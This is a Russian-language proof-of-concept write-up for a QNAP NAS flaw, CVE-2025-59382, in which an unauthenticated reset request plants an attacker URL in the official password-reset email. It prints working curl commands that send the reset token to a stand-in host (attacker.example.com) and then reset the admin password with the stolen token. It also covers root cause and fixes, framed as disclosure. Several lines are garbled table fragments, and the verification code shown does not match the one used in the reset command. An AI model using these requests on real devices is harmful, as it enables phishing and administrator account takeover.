
Доказательство концепции и техническое описание для CVE-2025-59382, неаутентифицированная инъекция URL сброса пароля в QNAP NAS, которая позволяет выполнить цепочку от фишинга до захвата учётной записи.
Неаутентифицированный URL сброса пароля, контролируемый атакующим, в /cgi-bin/reset_password.cgi.
Протестировано на QuTScloud c5.2.4.3041 build 20250211 в лабораторных условиях. QNAP позже опубликовала это как CVE-2025-59382 в уведомлении QSA-26-10.
Неаутентифицированный атакующий с локальным сетевым доступом или доступом к открытому интерфейсу управления NAS может внедрить произвольный URL в официальное письмо сброса пароля QNAP, манипулируя параметром url функции send_mail в /cgi-bin/reset_password.cgi.
Жертва получает настоящее письмо сброса пароля QNAP от NAS. URL атакующего встраивается непосредственно в тело HTML-письма, и QNAP добавляет токен сброса () к этому URL.
rpЭто превращает письмо сброса пароля в аккуратную цепочку фишинг-к-захвату-учётной-записи:
rpvc) на фишинговой страницеТребуется взаимодействие с жертвой, но аутентификация атакующего не нужна.
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
NAS отправляет официальное письмо сброса и добавляет токен сброса к URL атакующего, например:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
Код проверки также показан в том же письме. В лабораторных данных это выглядело так:
Your verification code is: 2FEA2B8B
Таким образом, фишинговая страница должна только попросить жертву ввести код проверки. Токен rp уже попадает на сервер атакующего при нажатии на ссылку.
Как только атакующий получает токен rp и связанный с ним код проверки vc, он может сбросить пароль администратора:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
Финальный вызов сброса должен быть POST. Код проверки, который жертва вводит на поддельной странице, отправляется в QNAP как vc=<code>.
Новый пароль закодирован в base64 в поле new_pw. В PoC этого было достаточно, чтобы изменить пароль администратора и затем войти как администратор.
Обычный поток фронтенда строит локальный URL NAS, например:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
Но бэкенд доверяет параметру url, предоставленному клиентом, вместо того чтобы генерировать URL сброса самостоятельно. Затем он строит ссылку в письме, используя это значение, и добавляет:
&u=<user>&rp=<reset_token>
Он просто доверяет тому, что передано как url.
Доставка осуществляется через доверенное письмо NAS.
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 MediumQNAP перечисляет затронутые продукты:
5.2.7h5.2.8c5.2.82.7.1Исправленные версии, указанные QNAP:
5.2.9.3499h5.2.9C5.2.92.8.0QNAP описала проблему как удалённый атакующий, изменяющий URL сброса пароля и обманом заставляющий жертву посетить контролируемую атакующим страницу сброса, что приводит к краже учётных данных.
Моей лабораторной целью был QuTScloud c5.2.4.3041 build 20250211. В лаборатории я добился сброса пароля администратора и входа администратора после взаимодействия с жертвой.
Небольшое замечание: я воспроизвёл это в лаборатории 2026-05-09 и отправил в QNAP 2026-05-11; они пометили это как дубликат INTSI000-9029. Поскольку QNAP опубликовала CVE/уведомление, я публикую PoC. Благодарность Tim Coen как первому обнаружившему.
Я не знаю точного патча, который использовала QNAP. В их уведомлении перечислены только исправленные версии.
Моя догадка о правильном исправлении проста: не позволяйте браузеру указывать NAS, куда должна вести ссылка сброса.
NAS должен сам строить эту ссылку. Если QNAP всё ещё нужен параметр url для этого потока, он должен принимать только обычную страницу сброса NAS и отвергать любую внешнюю ссылку.
Я бы также кодировал всё, что попадает в тело письма, и добавил бы ограничение частоты для неаутентифицированных запросов на сброс по email.
Отказ от ответственности: Этот эксплойт опубликован в образовательных и оборонительных исследовательских целях. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.